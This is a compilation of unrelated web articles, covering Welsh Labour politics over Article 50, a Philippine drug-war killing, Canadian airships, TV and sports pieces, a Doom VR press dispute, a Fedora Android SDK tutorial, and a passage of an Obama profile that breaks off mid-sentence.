a few months ago, Moot lamented that, "sometimes I wish I could interact with the community in a more normal way." Watching Moot effortlessly navigate the crowd of twenty-something dudes in a bar in Brooklyn, "normal" was definitely a word that came to mind.  [Image of 4chan founder Christopher Poole (right) and fan at last night's meet-up via 4chan]
-WATCH: The Sun Like You've Never Seen It  NASA's Solar Dynamics Observatory, which keeps a 24/7 vigil on the sun, just released this spectacular video composite to mark five years since the spacecraft was launched.  As Astronomer Phil Plait writes at Slate: "There's so much to take in there. Rolling sunspots, eruptive prominences, collapsing filaments, solar flares, the Transit of Venus (twice!)"  The SDO was being designed and built while Plait was working at NASA's Goddard Space Flight Center. The astronomer says he remembers discussing with colleagues how much data would be sent back to Earth and how much would be seen by the probe.  "I had no idea," he writes (emphasis his). "SDO is far more than I imagined, and has revealed our active and complex star far better than anything before it."
-Shadow secretary for Wales, who argued against Corbyn’s three-line whip on Brexit bill, says leaving the EU is ‘terrible mistake’  The shadow secretary for Wales, Jo Stevens, has resigned from her post, saying she could not reconcile herself to voting to trigger article 50 as she still believed leaving the EU would be “a terrible mistake”.  In her letter to the Labour leader, Jeremy Corbyn, Stevens said she was “a passionate European” who had voted to remain, as had a significant majority of her city and constituency of Cardiff.  The MP said she accepted the referendum result and recognised that she could not block the passage of the EU withdrawal bill and that exiting the EU was inevitable. “But I believe that leaving is a terrible mistake and I cannot reconcile my overwhelming view that to endorse the step that will make exit inevitable is wrong,” she wrote.  “I expect this to be the most important vote I will ever cast as an MP and for me it is a clear issue of principle and conscience. When I vote I will be representing my constituents, a great many of whom, including a great many Labour party members and voters, have strongly urged me to vote in this way. That is why, in shadow cabinet, I argued against the imposition of a three-line whip.”  Stevens is the first shadow cabinet member to resign over the issue, after Corbyn said he would impose a three-line whip to vote in favour of the government’s EU withdrawal bill.  Facebook Twitter Pinterest Tulip Siddiq resigned from frontbench on Thursday. Photograph: Nicola Tree/Getty Images  Tulip Siddiq resigned as shadow early years minister on Thursday, saying she intended to vote in line with her strongly pro-remain constituents in Hampstead and Kilburn.  Stevens was elected in 2015, beating the Lib Dem incumbent Jenny Willott with a majority of 4,981. Though Wales voted overall to leave the EU, Cardiff was pro-remain, with 60% of people voting to stay in.  Stevens previously expressed concern about the impact of leaving the EU on her brief, with 68% of Welsh exports going to the EU.  On the left of the party, Stevens was one of 40 MPs who refused to back a no-confidence motion in Corbyn after the EU referendum, but she later endorsed his leadership rival Owen Smith. She was previously shadow justice minister but was promoted to the shadow cabinet and given the Wales portfolio after Corbyn’s reelection in October.  'Labour is running scared': our readers on Corbyn's article 50 vote Read more  Stevens was among those who argued that MPs should not be compelled to vote for the government’s bill, along with the shadow business secretary, Clive Lewis. Lewis has since said he will vote in favour of the bill on second reading, but hinted he could be prepared to withdraw support in the final stages.  Two Labour whips, Jeff Smith and Thangam Debbonaire, have also said they will not vote for the bill, as have their fellow shadow ministers Daniel Zeichner and Catherine West, though it is not yet clear if they will be forced to resign in order to do so.  In her letter, which has been emailed to local party members, Stevens said Theresa May was pursuing “a brutal exit with all the damage that will cause to the people and communities we represent”.  Stevens said she believed Corbyn, who defied the Labour whip on issues of conscience hundreds of times during the Tony Blair and Gordon Brown years, would understand her strength of feeling. “I must follow my principles and my conscience, even where that conflicts with the party’s whip in parliament,” she wrote.  “It is with deep regret that this inevitably means I must resign from the shadow cabinet. It has been an honour and a privilege to serve as your shadow secretary of state for Wales, the country where I was born, bred, work and live.  “In carrying out that role, it reinforced even more strongly to me what Wales will lose from exiting the EU without the guarantees that are needed and without a seat at the negotiating table for the people of Wales. We are net beneficiaries of EU funding. Over two-thirds of our exports are to the EU. It is a lifeline to our manufacturing industry in steel, automotive and aerospace as well as to our farming and food production sector. I do not believe that we can rely on a Conservative government to protect Wales.”  Facebook Twitter Pinterest Corbyn and Thangam Debbonaire, who has said she will not vote for triggering article 50. Photograph: Chapman/LNP/Rex/Shutterstock  Stevens said she was not seeking to sow division in the party. “Throughout my period on the frontbench I have always sought to promote unity across our party and I wish you, my successor and the whole of the shadow cabinet the very best in leading our party through this most critical period,” she said in her letter to Corbyn.  Earlier on Friday, the shadow home secretary, Diane Abbott, whose constituents in Hackney voted overwhelmingly to remain in the EU, defended Corbyn’s stance. “You have to remember how this looks to people in post-industrial Britain, former mining areas, the north, the Midlands, south Wales – it would look as if elites were refusing to listen to them,” she told BBC Radio 4’s Today programme.  “It would be wrong. How could MPs vote for a referendum and then turn around and say: it went the wrong way so we are ignoring it?”  Corbyn has said he understands the pressures facing his MPs but urged the party to unite, saying: “Labour is in the almost unique position of having MPs representing constituencies in both directions, and very strongly in both directions.  “I say to everyone: unite around the important issues of jobs, security, economy, rights, justice, those issues, and we will frame that relationship with Europe in the future outside the EU, but in concert with friends, whether those countries are outside or inside the EU.”
-Every Christmas, Nanette Castillo, 49, decorates her tiny home in Holy Cross in Novaliches, Quezon City with lights and lanterns to feel the holiday spirit. She buys inexpensive gifts for her two children and several grandchildren, and cooks a variety of dishes for her family to feast on during noche buena.  But for this year, there are no lights and lanterns to light up Castillo’s home.  ADVERTISEMENT  Aldrin – the eldest and only son of Castillo – was shot dead close to midnight last October 2 along the busy Herbosa Street in Tondo, Manila. He was about to cross the road to buy brandy to drink with his friends when seven masked men on motorcycles cut him off, and shot him, hitting his left cheek twice, and neck once.  Aldrin fell down on his face as his blood dripped down the pavement. And as if the three bullets lodged in his head were not enough, one of the masked men walked towards him, turned him over, and shot him twice in the chest. The suspects then immediately fled the scene, as if nothing happened.  Two months have passed but Castillo remained furious and indignant over the fate of her son as if it only happened yesterday. So many questions linger in her mind – “What had he done wrong? Who killed him? Why did they kill him?”  But answers to all these questions seem impossible to find, as Castillo also struggle to find possible reasons to celebrate Christmas.  “Wala akong Pasko ngayon, kahit yung anak kong babae,” Castillo said in an interview with INQUIRER.net on December 20  (I have no Christmas this year, even my daughter.)  “Kaso lang nga, may apo ako. Bata ‘yun e, para sa kanila ‘yung Pasko. Hindi ko naman pipigilang magsaya ‘yung mga bata,” Castillo also said, shaking her head as she held a laminated photo of Aldrin.  (But I have grandkids. They’re children—Christmas is for them. I will not prevent them from celebrating.)  “Pero ‘yung sa ‘min? Wala kaming Pasko, kahit ‘yung mother ko. Kasi kahit na matagal na o bago pa lang [na nangyari], hindi katanggap-tanggap ‘yung pagkamatay ng anak ko,” she added.  ADVERTISEMENT  (But for us? We have no Christmas, even my mother. Time may pass, but I could never accept my son’s death.)  Questions with no answers  Aldrin was a drug user before, Castillo admitted, but he had already kicked the habit long before he was killed.  Castillo also said his son was not in the drug watchlist in Tondo or in Novaliches, as he had a clean record and had no enemies, who could have the motive to murder him.  “Di naman siya salot sa lipunan katulad ng sinasabi ng gobyerno na to. Wala naman siyang pinerwisyong iba. Bakit nila binaril? Gusto ko magkaroon ng sagot ang tanong ko at kung sinu-sino yang mga h******** na yan,” she said.  (He was not one of the ills of the society like what this government says. He did not wrong anyone. Why did they gun him down? I want answers to my questions and I want to know who killed my son.)  Aldrin had kept himself busy working as a welder. Days before he died, he was asked by his sister to come over to her Tondo house to install an air conditioner, Castillo said.  He was supposed to go home to Novaliches and leave Tondo earlier but he got the flu so he stayed longer, Castillo narrated. And because the neighborhood used to be their home for decades, she was sure he was safe and did not think of anything unusual.  But then the unthinkable happened. Castillo, out of despair, then blamed her daughter for her son’s death. If he was not there in Tondo, she thought, he would still be alive.  “Pati yung anak kong babae sinisi ko, ‘Kasi bakit mo pinapunta kasi kuya mo? Dapat hindi nabaril ‘yan.’ Nagkaroon pa kami ng gap sa family,” Castillo lamented.  (I even blamed my daughter, telling her ‘He could not have had been killed if you did not ask him to come over.’ It created gap in our family.)  Strength to pursue justice  Castillo smiled as she sat down the long bench across the table in a cafe in Quezon City where the interview was held. She said she wanted to go to Tutuban night market in Divisoria, Manila to buy cheap stuff for Christmas. Normita, a mother who also lost her 25-year-old son to the government’s anti-illegal drug campaign, told her that it would be hard to shop because of the sheer number of people in the market.  Castillo laughed and told her: “Kinaya ko nga nung namatay ang anak ko, ano ba naman ‘yung pagpunta sa Tutuban.”  (I got through my son’s death, what is that compared to shopping in Tutuban.)  Today, Castillo keeps herself busy by volunteering for Rise Up for Life and for Rights, a Church-based non-profit group supporting and organizing the victims of extrajudicial killings (EJK) and their families. She helps in conducting house-to-house visits and talking to the families, scheduling meetings, and doing other things she can do for the organization.  She got in touch with the group during the “Start the Healing” rally in Edsa on November 5 in search for answers over what happened to her son.  “Nu’ng sumali ako sa Rise Up, nabuksan ang isip ko. Dati simpleng nanay lang ako. Ang sa akin, bahala kayo diyan, basta safe ang anak ko… hanggang sa nangyari sa akin ‘to,” Castillo told INQUIRER.net.  (Joining Rise Up opened my mind. Before, I was just a simple mother who does not care about everyone else as long as my children are safe. Until this happened to me.)  “Pasalamat kami may natakbuhan kami na ganito, dahil kung hindi, ‘di namin alam gagawin namin, pare-pareho kaming walang alam sa batas eh,” she added.  (We’re thankful there’s an organization like this where we can run to. Because if not, we do not know what to do because all of us have no knowledge about the law.)  Her new life as an advocate against the killings greatly helped her in coping with the loss, helping her process the trauma and the pain by meeting other families who share the same experience as her.  “Walang ibang higit na makakaintindi sa amin kundi kami ‘ring mga nawalan,” she said.  (No one could ever understand us more but us who also those who have lost.)  Castillo still waits for the day that she and her daughter patch things up. And on Christmas Day, she will light a candle at her son’s tomb at the Manila North Cemetery to pray not just for her peace of mind, but also for justice to prevail over the death of her son, Aldrin, and of thousands of others who have fallen victims to the government’s deadly crackdown against illegal drugs. /kga  Read Next  LATEST STORIES  MOST READ
-Canada's infrastructure issue and a return of the Zeppelin?  Find Your Forecast Search for a location  Cheryl Santa Maria  Digital Reporter  Wednesday, September 23, 2015, 6:11 PM - A new report in Canadian Manufacturing draw attention to Canada's infrastructure problem and how some companies hope to alleviate the issue, including one brash idea to bring back an iconic airship.  According to the report, close to 70 per cent of Canada's landmass -- approximately 7 million square kilometres -- is inaccessible by major roads or rail lines.  Some areas can be reached seasonally by ice roads or by ships, but the winter months can completely cut off parts of the country.  Much of this 70 per cent can be found in the north and while portions of it are uninhabited, there are small populations scattered throughout.  Inaccessibility drives up the cost of goods in these regions and can turn the transport of valuable items a logistical nightmare, especially when the weather isn't cooperating.  Canadian Manufacturing says the issue has attracted the attention of several companies, all of which are vying for a solution.  One idea that's being tossed around is bringing back the Zeppelin -- rigid airships that saw their heyday in the early 1900s.  “It’s been a long time in the wilderness… [but] the airship is finally finding itself a market,” Barry Prentice, a professor of supply chain management at the University of Manitoba, told Canadian Manufacturing.  The USS Los Angeles, a US Navy airship built by the Zeppelin Company. Courtesy: Wikipedia  Zeppelins aren't often seen nowadays, largely due to the disastrous Hindenburg disaster that was broadcast around the world nearly 80 years ago.  “It isn’t that the technology didn’t work. The Germans took their Zeppelins from Brazil to Germany back and forth on a scheduled flight, and they never had an accident except for that famous one in New Jersey,” Prentice added.  But experts say the technology has its benefits.  The ships are able to carry heavy cargo and require less fuel than conventional planes due to their buoyancy. That makes them cheaper to operate and better for the environment.  “These airships allow access to virtually anywhere, water or land, in wide range of weather conditions, without forward infrastructure or manpower required,” Lockheed Martin Hybrid Airships program manager, Bob Boyd told Canadian Manufacturing.  Barry Prentice, a professor of supply chain management at the University of Manitoba, adds that safety standards and testing abilities have improved significantly since the Hindenburg era, minimizing the risk of a repeat disaster.  The concept became a source for heated debate on the content-sharing site Reddit, with some users wondering if the technology is a good fit for Canada's sometimes harsh weather conditions.  "Zeppelins basically can't fly in even moderate winds," Reddit user guyjin speculates.  "It might make shipping cheaper when the weather cooperates, but my understanding of northern weather is that it doesn't often cooperate."  Source: Canadian Manufacturing | Reddit
-Now that Oliver has been kidnapped by Chase, the Emerald Archer will be forced to face his past.  During Wednesday’s episode of Arrow, Chase (Josh Segarra) basically tortures Oliver (Stephen Amell) — both for his own demented plans and on behalf of Talia al Ghul (Lexa Doig). But the hour really takes viewers back to where it all started for Oliver in Russia, uncovering why he became a vigilante in the first place.  “We’ve always had this tradition of doing what we call the ‘all-flashback’ or ‘mostly flashback’ episode,” executive producer Marc Guggenheim explains. “That’s actually what this episode is going to be. It’s going to be a story that’s mostly set in Russia, with Dolph Lundgren coming back as Kovar. It’s the big confrontation that we’ve been building up to for the past several episodes, which is the Bratva vs. Kovar, with a couple surprises thrown in — Oliver may or may not get a certain tattoo; he may or may not lose a certain tattoo.”  RELATED: The Best CW Shows of All Time  Then, in present day, “It’s Adrian Chase trying to get Oliver Queen to confess his sins, really to confess a secret,” Guggenheim says. “It’s incredibly intense. It’s basically a stage play; it’s essentially just Josh and Stephen in a room together. It’s probably one of the darkest episodes we’ve ever done.”  With Oliver forced to look back on what his legacy has wrought, viewers will finally learn long-held secrets. “Part of the biggest thing that we’re explaining in season 5 is what was Oliver’s motivation?” Amell says. “What was his mindset in the early part of season 1? Essentially, to the same extent, what was his mindset when he really became this person in Russia?”  “The idea is that, quite simply, he could put on the hood, and he could compartmentalize this horrible person that he has inside of him because of everything that he has had to deal with in the past four-plus years being away,” Amell continues. “The death of his father, obviously via suicide, the death of Shado, the seeming death of Sara, the fact that he had to murder Slade, the death of a young child in Hong Kong — all of these things that he has had to deal with broke something inside of him that didn’t end up getting fixed until he had a do-over with Slade Wilson, who had just murdered his mother, and he took the high road.”  But even if Oliver were to ultimately kill Chase — or in flashback, be able to take Kovar down once and for all — would he really be satisfied? “If we’ve done our job with season 5 correctly, if we stick the landing on all of this, by the end of the season, our hope is that you will look at Oliver’s killing in a completely different light and look at it in a totally different way,” Guggenheim says. “And look at his motivations for killing in a different way, in a more complex, more nuanced way. My hope is the whole season will kind of answer that question if we pull it off.”  Arrow airs Wednesdays at 8 p.m. ET on The CW.
-Nov 21, 2016: Washington Wizards forward Markieff Morris (5) shoot in between Phoenix Suns center Alex Len (21) and guard Eric Bledsoe (2) during the first quarter at Verizon Center. (Photo: Tommy Gilligan/USA TODAY Sports)  WASHINGTON – With some distance from an acrimonious final few months in Phoenix, Markieff Morris misses the place.  Morris’ 4 1/2-season stay in Phoenix was a positive progression for four seasons until his twin, Marcus, was traded to Detroit and he asked for a trade. After his play and behavior took a downward turn, Morris was traded in February to Washington but could not help the Wizards make the playoffs.  In his first NBA season elsewhere, Morris remains Washington’s starting power forward and has produced a slight statistical bump amid the Wizards' struggles.  “It’s kind of like the same,” Morris said of the Suns’ and Wizards’ experiences. “Both teams, it’s a freelance of basketball. We just play for the most part. You find your spots. John (Wall) does a great job of getting me the ball here. In Phoenix, I had Bled (Eric Bledsoe) doing a great job. It’s like the same brand of basketball.”  Morris visited with friend and former teammate P.J. Tucker on Sunday’s off-day but did say his motivation might be greater when he returns to Phoenix again in March than it was for Monday’s game.  RELATED: Bledsoe links Suns, NBA youngest starting 5s ever  “I had a wonderful time there,” Morris said of Phoenix. “It was a great experience. That’s a place that I might go back and live. It’s a great city. You have your ups and downs anywhere but my five years there were some of the best times in my life.”  Does Marcus feel the same way?  “No, no, no, he’s all the way done,” Morris said. “I was there longer so it’s kind of more set in my heart. He’s completely done in Phoenix.”  Morris enjoyed playing for Jeff Hornacek and had strong performances in his short time under Suns coach Earl Watson to help Suns General Manager Ryan McDonough make a deal with the Wizards. The Suns took on two players, Kris Humphries and DeJuan Blair, whom they eventually waived, and the Wizards’ No. 13 pick in the June draft, which they used to package with their No. 28 pick and the rights to Bogdan Bogdanovic to get rookie Marquese Chriss at No. 8.  “For me, it wasn’t difficult to reach him,” Watson said. “What we try to do here is take away the non-sensitive side of it and turn it into a family environment with positivity and encouragement but at the same time have direct conversations, accountability and transparency. It’s a difficult mix to manage.”  Washington Wizards forward Markieff Morris (5) battles for the ball against Eric Bledsoe on Monday. (Photo: Nick Wass/AP)  Brooks helps Watson  For Watson at the helm of a young team, he draws from how Wizards first-year coach Scott Brooks handled his Oklahoma City team when Kevin Durant was a second-year player and Russell Westbrook was a rookie thrown to the fire. He recalled how Brooks never lost his cool through the young players’ mistakes because he was building something for the long run.  “What really changed us is as the season progressed, those young guys began to earn ownership of the team,” Watson said. “I expect the same evolution here for our group because it’s very similar.”  MORE: Rookie Tyler Ulis stays sharp for rare chance  Night at the museum  Suns players and staffers took a private Sunday night tour of the Smithsonian National Museum of African American History and Culture.  “It speaks volumes that every shade has a DNA of the fabric,” Watson said. “It’s not just ownership of one race. We all share a significant piece of the fabric of that flag. The national anthem situation is kind of old but it’s the reason why I stand. I really feel like my family has a big part of building this country.  “It was moving. It was touching. It was eye-opening, even for those who are very familiar with the history, but at the same time, it was uplifting.”  DOWNLOAD: The free azcentral sports Suns XTRA app  Free throws  * Suns small forward T.J. Warren remained away from the team due to illness Monday. He has been away from the team since leaving Friday’s game in Indiana in the first quarter and going to a hospital for treatment.  NEWSLETTERS Get the Sports Breaking News newsletter delivered to your inbox We're sorry, but something went wrong Can't wait to read sports news? Get crucial breaking sports news alerts to your inbox. Please try again soon, or contact Customer Service at 1-800-332-6733. Delivery: Varies Invalid email address Thank you! You're almost signed up for Sports Breaking News Keep an eye out for an email to confirm your newsletter registration. More newsletters  * Suns forward Jared Dudley, booed lightly in his return to Washington, on last season’s Wizards and this season’s Suns: “You want to play fast but you got to play smart as a team. That’s what we’re trying to teach here. We’re trying to play fast. Just because you play fast doesn’t mean everybody has the freedom to do what they want. That’s when you’ve got to have self-discipline. That’s what we (Washington) lacked last year.”  * Watson on center Alan Williams recording double-doubles off the bench in Thursday’s and Friday’s games: “It just shows the energy and passion he has on the bench is not fake. He plays with the same thing.”  Reach Paul Coro at paul.coro@arizonarepublic.com or (602) 444-2470. Follow him at www.twitter.com/paulcoro.
-Gamespot’s Scott Butterworth rolled out a hands-on preview of Doom VR, the upcoming VR iteration of the 2016 release of Doom from id Software and Bethesda. The 740 word preview published on August 8th, 2016 titled “Doom May Have Solved VR’s Traversal Problem” was based on an early build that was showcased at this year’s QuakeCon. The preview garnered some interesting feedback from the community.  While a lot of gamers were disappointed that VR seems to be moving into a more restricted and less dynamic environment for interactivity, others actually wanted to see more if the game. One user, amaneuvering, was a little annoyed that there was an entire preview about Doom VR but nothing visual to convey what the experience was like, writing…  “[…] Well, I’m not blaming you guys. It’s just annoying as hell that the developers give you the chance to actually play the thing firsthand but don’t see fit to even let us see some footage of the game. We’re the ones paying their wages at the end of the day, almost like glorified shareholders, and I think that more important than sucking up to game journalists they should maybe think about what their actual customers might appreciate.”  Butterworth replied, explaining it’s incredibly difficult to capture VR footage from VR headsets and that it isn’t worth the time or resources, and then follows up that point by stating…  “Second–and I cannot stress this enough–you are absolutely nothing like a shareholder in this situation. In fact, you’re not even a customer yet, you’re just a *potential* customer. At this point, you are entitled to absolutely nothing. Even if you’ve purchased games from Bethesda in the past, they’re not beholden to you in perpetuity. You purchased a commercial product, not corporate influence. Eating at a restaurant once doesn’t mean you get to wander into kitchen the next day and demand they change the menu. I would strongly caution you away from this entitled attitude because I promise, the developers don’t owe you a damn thing.”  Developers don’t owe customers anything but a working product. However, they definitely owe them something worth getting excited about otherwise they won’t have customers, and without customers you don’t have revenue, and without revenue you don’t hit profit margins, and without profit margins you lose your shareholders. So, technically, customers are a heck of a lot more important than shareholders.  Additionally, a potential customer is exactly who previews are supposed to be made for. If Butterworth is indignant over someone reading a preview and asking for more information, then he’s obviously not writing for gamers.  Perhaps they should add disclosures at the top of some previews letting people know it’s only for corporate shareholders and investors?  That’s not to mention that someone interested in a game and requesting more information so they can make an informed purchasing decision is not being entitled, it’s called being an educated consumer.  But even more than that, there is already footage up and available on YouTube from customers who bought and paid for Doom and bought and paid for an HTC Vive. You can see what it looks like in the video below from YouTube user SorryAboutYourCats.  Now keep in mind this is not Doom VR but simply the 2016 release of Doom. It’s to show that if the average user can rig up recording software to record the gameplay experience, it doesn’t make sense why a major gaming publication can’t.  Anyway, this is just another instance in the media thinking more highly of their position than what it’s actually worth. Their only value to gamers is in bridging information from publishers and developers to readers. A journalist’s job is not to assiduously work PR for the publisher, nor is their job to tell customers what information they shouldn’t be requesting, because at the end of the day every customer should be asking for as much information as possible in order to make the most informed purchasing decision possible.  More than anything, journalists should be encouraging readers to ask, to pry and to want more information because an informed customer is more likely to return to a media outlet that they trust as opposed to a media outlet that tells them that they’re entitled and goes on a tirade about the importance of shareholders and corporate resource protection.  Sadly, this is the very same attitude that led up to instances like #GamerGate happening in the first place.
-Android is one of the most popular mobile operating systems (and it is based on the Linux kernel too.) However, diving into developing apps for Android can appear to be a bit daunting at first. The following how-to runs you through the basics of setting up an Android development environment on your Fedora machine. The basic workflow is to download the Android SDK, use the SDK to generate a quick first “hello world” application, then test out that application with either a physical Android device or the Android emulator.  Let’s get started!  Install needed Dependencies  First up we need to install a few packages from the Fedora Repos to make sure everything works correctly. To install these packages, run the command:  sudo yum install zlib-devel.i686 ncurses-devel.i686 ant  Note that the 32bit libraries in the command above are needed even if you have a 64bit install of Fedora.  Get the SDK  Now we need to create a new directory in your home directory to contain the Android SDK and your first project. I decided to name mine android-development:  mkdir ~/android-development/  Now, go to the Android SDK Download page and Download the SDK for Linux. Note that there are two types of download offered on the Android Download page, in this example we are after the SDK Tools Only option, not the ADT Bundle.  After downloading, unpack the bundle into the android-development/ directory.  Update the SDK  Now that you have the SDK you will need to update it. To do this, we need to go to the tools directory in the SDK, and then run the Android SDK Manager:  cd ~/android-development/android-sdk-linux/tools/  ./android  The Android SDK Manager will appear, and will prompt you to install a number of updates. It will install them directly into the android-sdk-linux/ directory.  Set up your PATH variable to point at the SDK  Next up, we need to configure your path variable to point at a couple of directories in the Android SDK so we can run them as commands in bash. So open up the  ~/.bash_profile  file in your favourite text editor, and add the following lines to the bottom of the file:  export PATH=$PATH:~/android-development/android-sdk-linux/tools/ export PATH=$PATH:~/android-development/android-sdk-linux/platform-tools/  Now log out of your desktop, and log back in to apply this change.  Create the App  Before we create our app, we need to know what version of the Android API we want to build against. Run the following command to see what Android API versions your SDK can target:  android list targets  I only have the most recent version of android downloaded in my SDK, so I got the following output:  Available Android targets: ---------- id: 1 or "android-19" Name: Android 4.4.2 Type: Platform API level: 19 Revision: 3 Skins: WSVGA, HVGA, WXGA800, WVGA800 (default), WQVGA432, WXGA720 Tag/ABIs : no ABIs.  In this output, all we are concerned with is the ID of the API version we want to build against. In the example above, we just need “android-19”  Now, run the following command to create a default Android project (being sure to enter in the correct directory location for the path option and the ID from above for the target):  android create project --target android-19 --name MyFirstApp --path ~/android-development/MyFirstApp --activity MainActivity --package com.example.myfirstapp  Building your Android app  Now that you have done all the prep work, building your first Android app is actually pretty easy. First change into the directory that contains your app:  cd ~/android-development/MyFirstApp  then run the following command to build the app:  ant debug  If the build is successful, the following command will have created a an Android application package file (apk) file at  ~/android-development/MyFirstApp/bin/MyFirstApp-debug.apk  Test out your app on a real device  Now we have a built APK of our app, it’s time to try it out on an android device. To Install the APK to a device via USB, you need to enable USB Debugging mode on your device. Note that this step is different depending on the android version your device is running.  For Android 3.2 or older , the USB Debugging option is under Settings > Applications > Development in the android menus.  , the USB Debugging option is under in the android menus. For Android 4.0 and 4.1 the USB Debugging option is under Settings > Developer options .  the USB Debugging option is under . For Android 4.2 and newer, the USB Debugging option is still under Settings > Developer options, but that menu item is disabled by default. To show the Developer Options, go to Settings > About phone and tap the Build Number item 7 times.  Now you have enabled USB Debugging mode, connect your device to your Fedora machine with a USB cable, and run the following command (make sure you are still in the  ~/android-development/MyFirstApp/  directory)  adb install bin/MyFirstApp-debug.apk  Now check your phone for the newly installed app (it will be called MainActivity). Run it and bask in all the Hello World goodness:  Test out your app on the emulator  Luckily, If you don’t have a Android device handy, or if you want to try out your app on a different style of device, the Android SDK also includes an the Android Virtual Device Manager to start a whole bunch of Android device emulators. To start the Android Virtual Device Manager, run the command:  android avd  In the “Android Virtual Devices” tab, press the New… button to create a new virtual Android device. Fill out the details in the dialog and press OK:  Start the emulator, and you should see a stock android screen, and some controls:  Now, follow the same steps as if you were installing on a real device. run the following command (make sure you are still in the  ~/android-development/MyFirstApp/  directory)  adb install bin/MyFirstApp-debug.apk  Now check the emulator for the newly installed app (it will be called MainActivity).  Further Reading  Now you have successfully set up your build and testing envrionment for Android apps on Fedora, the best place to go to get further information about developing apps for android is the Training section at Google’s Android Developer page.
-Carlos Beltran understands who he is as a hitter. But that doesn’t mean he’s always the same hitter. The 37-year-old New York Yankees outfielder adapts according to feel and he focuses better in some situations than in others. Still, you can’t argue with the results: He’s hit .283/.356/.497 with 363 home runs since breaking into the big leagues with the Royals in 1998. In 51 postseason games he’s hit .333/.445/.683 with 16 home runs.  Beltran talked hitting prior to last night’s game at Fenway Park.  ——  Beltran on mechanical adjustments: “Every year, you don’t feel the same so you have to find a way. You find a position where you feel comfortable mechanically and work with that. The way I hit last year compared to how I’m hitting this year is a little bit different. One thing is the position of the bat. Last year I felt good with my hands like this [slightly forward] and this year that feels a little uncomfortable. This year they’re back a little bit.  “When I was coming up in the big leagues, I talked to a lot of guys I looked up to. One of those guys was Edgar Martinez. I asked him if every year he feels the same. He said ‘No, every year I don’t feel the same.’ Your body feels different. Maybe some years you’re into your legs a little more, and other years you’re more comfortable a little bit taller. It’s basically how you feel. For me, left and right are two different swings. Depending on how I feel, I might be the same from both sides or I might be different.  “You need to feel comfortable, but you can’t be doing one thing in one at bat and in the next at bat do something different. You need to be confident with what you’re doing.”  On having a strong base: “I have to feel I’m in my legs. For example, if a pitcher takes a long time to release the baseball my legs are going to get tired. When I feel like the wind is moving me back and forth… like if it’s windy and I feel off-balance, I don’t like that. I need to step out and reset. When I feel set, I feel good hitting-wise. After every swing I take, I try to reset myself and think about my lower body. Once I feel like my lower body is there, then I transfer all my concentration on the pitcher.”  On his approach: “I concentrate on my strength. I’m not a guy who hits the ball a lot to the opposite field. I hit more center and right center and concentrate on getting a pitch in an area I know I can handle. If it’s a pitch on the outside corner, I know I can’t do much with that pitch. Unless I have two strikes, I don’t want to swing at it. If it’s a pitch on the inside corner and I don’t have two strikes, I don’t want to swing at it. That’s a pitch where, even if I take a good hack, I feel I’m not going to do much with it. I have to look for a pitch out over the strike zone, in or away. Basically, near the middle. Pitchers are going to miss and you have to be ready to hit and take advantage of that pitch when they miss.”  On hitting with runners on base: “I love RBIs. I love to drive in runs and take a lot of pride in those situations. I believe I’m a different hitter with guys on base. Leading off an inning, I feel like maybe my concentration is not there. When I have guys in scoring position I concentrate more because I know if I get a hit we can tie a ballgame, take the lead, add to our lead or shorten a deficit.  “You don’t want to make an out, but you have to be realistic. You’re going to fail a lot. I’m not trying to give away at bats, but like I said, I’m a different hitter with guys in scoring position.”
-Begin in farm country, late last summer, no particular day. Carmi, Illinois—a town on the Little Wabash River, down in the southern tip of the state, twenty-five miles from Kentucky, population about fifty-five hundred. A group of twelve farmers—burly white men with ruddy complexions and very short hair—sitting around a rectangle of pushed-together tables in a nondescript room, talking with their junior senator, Barack Obama. It was long before Obama decided to run for President, and he wasn’t in a rush. He sat at one end of the tables, leaning back in his chair, his knee propped against the table edge. He wore a tie but had removed his jacket and rolled up his shirtsleeves. A young farmer complained about the Jones Act, a 1920 law that he felt was partly responsible for a detrimental consolidation in the barge market. Another farmer had a question about ethanol. “My question first arose in my mind during the State of the Union address,” the farmer said. “President Bush said I’m all for biofuels, and then he started talking about switchgrass. And I’m, like, now wait a minute, we’ve got a system where we can make ethanol out of corn. I guess cellulosic ethanol”—which can be made from switchgrass—“is more efficient. But we don’t know how to do it, and we don’t know if farmers are ever going to grow switchgrass, and we don’t know if we would even want to grow switchgrass, so why so much emphasis on cellulosic ethanol?” “Well, I’m not a scientist,” Obama said, in a leisurely way, “so I gotta be careful when I start getting into this stuff that I don’t wade too deep and then can’t get back to shore. Right now cellulosic ethanol is potentially eight times more energy-efficient than corn-based ethanol, because you eliminate the middle step of converting it into sugar before you convert it into ethanol. That’s my understanding. I know you’re attached to corn, but if somebody came to you and said, you know what, if you take half your fields and grow switchgrass you’ll make the same amount of money or more, then—” “Not really,” the farmer interjected. “Because I had a guy come to me before wheat harvest and said do you wanna sell your straw and I said no. I said, ‘Don’t even talk to me, I don’t wanna sell my straw.’ ” “Now that’s interesting,” Obama said. “Why wouldn’t you want to sell your straw?” “Organic matter!” the farmer said, triumphantly. “Well, but if it’s economical to you, if it’s a good business decision, you’ll be interested.” “If you paid me enough,” the farmer conceded. “If you were paid enough. Now, you know the economics of it better than I do. So we’ve got to sit down with farmers who are growing the crops and figure out what would make sense. Because, look, I’m not a farmer, and what you just described, I want to keep my straw because it’s important, uh—” “I thought I was the only person who had this idea,” the farmer broke in, “and then in FarmWeek the guest editorial he said wait a minute, he said what we’re talking about is against everything we’ve preached for the last twenty or thirty years, where we return organic matter to the soil.” “Exactly,” Obama said in a soothing tone. “And all of a sudden we’re talking about denuding the ground—” “Which we shouldn’t do. And so,” he said, returning to the topic, “the way to think about this is not to impose ideas on farmers that aren’t gonna work, by people who don’t farm. But we have to create more efficient ethanol if we want to see a significant growth in the market. The fact of the matter is that Brazilian ethanol is substantially cheaper than U.S. ethanol. Now, George Bush wanted to go ahead and let that come in, and myself and Durbin”—Richard Durbin, Illinois’s senior senator—“said no, we would continue to support the existing tariff so that we can have the development of a homegrown ethanol market. I want to make sure that whatever is being done is utilizing the fact that we’ve got some of the richest soil on earth and the best farmers on earth. But the flip side is that farmers need to be engaged and not just put out a hand and say I’m not interested because I’m used to growing corn and beans.” There are three things that Democratic political candidates tend to do when talking with constituents: they display an impressive grasp of the minutiae of their constituents’ problems, particularly money problems; they rouse indignation by explaining how those problems are caused by powerful groups getting rich on the backs of ordinary people; and they present well-worked-out policy proposals that, if passed, would solve the problems and put the powerful groups in their place. Obama seldom does any of these things. He tends to underplay his knowledge, acting less informed than he is. He rarely accuses, preferring to talk about problems in the passive voice, as things that are amiss with us rather than as wrongs that have been perpetrated by them. And the solutions he offers generally sound small and local rather than deep-reaching and systemic. Take a recent forum in Las Vegas on health care. Here are Hillary 